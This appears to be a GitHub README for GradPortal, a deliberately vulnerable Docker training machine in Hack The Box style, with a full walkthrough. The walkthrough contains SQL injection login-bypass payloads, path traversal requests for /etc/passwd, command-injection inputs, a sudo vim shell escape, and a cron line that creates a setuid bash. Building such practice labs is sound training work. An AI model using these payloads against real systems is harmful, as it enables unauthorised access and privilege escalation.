Mayu-Solirius/gradportal-lab

GitHub: Mayu-Solirius/gradportal-lab

一台基于 Docker 的 HTB 风格初级渗透测试训练靶机,涵盖 Web 漏洞利用、SSH 访问与 Linux 提权的完整攻击链练习。

Stars: 0 | Forks: 0

# GradPortal — HTB 风格初级训练机器 ## 构建与运行 ``` docker compose up --build ``` | 主机端口 | 服务 | |-----------|---------| | 8080 | Web 应用程序 (HTTP) | | 2222 | SSH | 通过 `http://localhost:8080` 访问 Web 应用。 SSH:`ssh developer@localhost -p 2222` 停止并清理: ``` docker compose down ``` ## 学习目标 - 使用 `nmap` 进行端口和服务枚举 - 使用 `gobuster` / `feroxbuster` 进行 Web 目录枚举 - 读取并利用 `robots.txt` - 识别并利用 SQL injection(登录绕过) - 从 Web 应用程序输出中发现凭证 - 使用发现的凭证进行 SSH 访问 - 通过配置不当的 `sudo` 规则进行 Linux 权限提升 ## 无剧透提示 1. **枚举就是一切。** 从全端口扫描开始。 2. **并非所有有用的页面都是从主页链接的。** 仔细寻找。 3. **开发者有时会留下笔记。** 检查标准的元数据文件。 4. **登录表单的安全性仅等同于其查询的安全性。** 5. **获取 shell 后,务必检查用户可以运行的内容。** ## 完整演练
⚠️ 剧透 — 点击展开 ### 1. 端口扫描 ``` nmap -sC -sV -p- ``` 预期的开放端口: - `22/tcp` — OpenSSH - `80/tcp` — HTTP (Flask) ### 2. Web 枚举 访问主页。没有可见的登录链接。 检查 `robots.txt`: ``` http://localhost:8080/robots.txt ``` 泄露的禁止访问路径: - `/admin_login` - `/dev_notes` - `/backup.zip` 运行目录扫描以确认: ``` gobuster dir -u http://localhost:8080/ -w /usr/share/wordlists/dirb/common.txt ``` ### 3. SQL Injection — 登录绕过 导航到 `http://localhost:8080/admin_login`。 使用以下任一 payload 作为用户名(密码任意): ``` admin' -- ``` 或 ``` ' OR '1'='1' -- ``` 你将被重定向到 `/admin`。 ### 4. 发现凭证 管理仪表板显示: ``` Username: developer Password: Summer2026! ``` ### 5. SSH 访问与 User Flag ``` ssh developer@localhost -p 2222 # 密码: Summer2026! cat /home/developer/user.txt # HTB{easy_user_flag_gradportal} ``` ### 6. 权限提升 检查 sudo 权限: ``` sudo -l # (root) NOPASSWD: /usr/bin/vim ``` 通过 GTFOBins 提权: ``` sudo vim # 在 vim 内: :!/bin/bash ``` ### 7. Root Flag ``` cat /root/root.txt # HTB{easy_root_flag_gradportal} ``` ### 可选路径 **路径遍历 / LFI:** ``` http://localhost:8080/view?file=../../app/.env http://localhost:8080/view?file=../../etc/passwd ``` **备份归档(备选凭证发现):** ``` wget http://localhost:8080/backup.zip unzip backup.zip cat .env ``` **暴露的 .git 历史:** ``` wget -r http://localhost:8080/.git/ git log --all --oneline git show HEAD~1 ``` **命令注入(admin/diagnostics):** ``` 127.0.0.1; id 127.0.0.1; whoami ``` **二次提权 — env 文件中的 root 密码:** ``` find / -name "*.env" 2>/dev/null cat /etc/gradportal/.env su - # 密码: RootMePlease2026! ``` **二次提权 — 可写的 cron 脚本:** ``` echo 'cp /bin/bash /tmp/rootbash; chmod +s /tmp/rootbash' >> /usr/local/bin/backup.sh # 等待约 1 分钟 /tmp/rootbash -p ```
## 清理 ``` docker compose down --rmi all --volumes ```
标签:CISA项目, Docker, Web安全, 协议分析, 后端开发, 安全防御评估, 安全靶场, 权限提升, 渗透测试训练, 版权保护, 蓝队分析, 请求拦截, 逆向工具